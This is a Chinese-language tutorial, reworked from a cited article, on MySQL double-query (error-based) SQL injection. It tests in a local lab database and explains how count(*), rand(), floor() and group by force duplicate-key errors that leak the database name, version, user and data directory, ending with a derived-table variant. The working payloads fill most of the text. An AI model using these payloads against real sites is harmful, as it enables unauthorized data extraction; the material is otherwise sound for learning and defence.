参考:http://www.2cto.com/article/201303/192718.html
原网站的有点low,图片和css样式都丢失了,阅读起来很是费劲。但瑕不掩瑜,对于sql双查询注入讲得很好,因此我尝试按照原文,以自己的语言和实践,对其进行翻新
子查询
在讲清楚双查询注入之前,我们理解一下子查询。
查询的关键字是select,这个大家都知道。(如果不知道,那这篇文章你还读不懂,先去学习sql查询语句,数据库原理)
子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。
看一个简单的例子:
Select concat((select database()));
这句查询语句在真正执行的时候,先从子查询进行。
执行select database() 这个语句就会把当前的数据库查出来,然后把结果传入到concat函数。
而concat()这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。
双查询注入
双查询注入需要理解四个函数/语句
Rand() //随机函数
Floor() //取整函数
Count() //汇总函数
Group by clause //分组语句
双查询注入原理用简单简单的一句话来概括——当在一个聚合函数(比如count函数)后面如果使用分组语句,mysql就会把查询的一部分以错误的形式显示出来。
动手实验
以本地一个名为Security的数据库为例
首先在命令行下输入
mysql -u root –p
之后输入密码
就连上了mysql。
然后通过
use security;
就可以切换到security数据库。
concat()
我们执行一下前面那个简单的子查询的例子
SELECT concat((select database()));
就能显示security,也就是显示了当前数据库的名字。
然后我们测试一下concat的用法。输入
SELECT concat('string1','string2');
显然结果就是string1string2
rand()
然后我们测试一下rand()
Select rand();
我们多执行几次
可以看到,这个函数就是个随机函数,返回大于0,小于1之间的数
floor()
然后看看floor()函数
Select floor(1.1123456);
这个函数就是个取整函数,返回小于等于你输入的数的整数。
尝试组合
然后我们看看双注入查询中的一个简单组合。
SELECT floor(rand()*2);
我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2。然后对结果进行取整,结果就只能是0或1。所以这个查询的结果不是1,就是0
加大难度
看这个查询
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));
句子开始有点长了,但不要怕。先看最里面的SELECT database() 这个返回的是数据库名,在这里就是security。然后FLOOR(RAND()*2)这个上面说过了——不是0,就是1。最后把这两个的结果进行concat连接,所以结果就是security0或者security1。
如果我们把这条语句后面加上from 一个表名。一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录。
在这里users表里有13个用户,所以返回了13条
如果是从information_schema.schemata里,这个表里包含了mysql的所有数据库名。这里本机有三个数据库。所以会返回三个结果
加上Group by语句
这次实验,我们使用information_schema.tables 或者 information_schema.columns两个表来查询。
因为其他表里面一般数据很多。容易生成很多的随机值,不至于全部是security0,这样就不能查询出结果。
select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
解释一下:
我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ,然后使用他进行分组。这样相同的security0分到一组,security1分到一组。所以就剩下两个结果。
注意这里的database()可以替换成任何你想查的函数,比如version(), user(), datadir()或者其他的查询,原理都是一样的。
像这样:
select concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
select concat((select user()), floor(rand()*2))as a from information_schema.tables group by a;
select concat((select datadir()), floor(rand()*2))as a from information_schema.tables group by a;
最后的亮点来啦
我们输入这条:注意多了一个聚合函数count(*)
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;
报错了
重复的键值 可以看到security就是我们的查询结果
想要查询版本就这样:
select count(*), concat((select version()), floor(rand()*2))as a from information_schema.tables group by a;
看看替换了database()为version()
再来一个
select count(*), concat(‘‘,(select user()),’‘, floor(rand()*2))as a from information_schema.tables group by a;
报错
还有一个比较复杂的,叫做派生表。需要使用
select 1 from (table name);
这样的语法来报错,具体就是
select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;
报错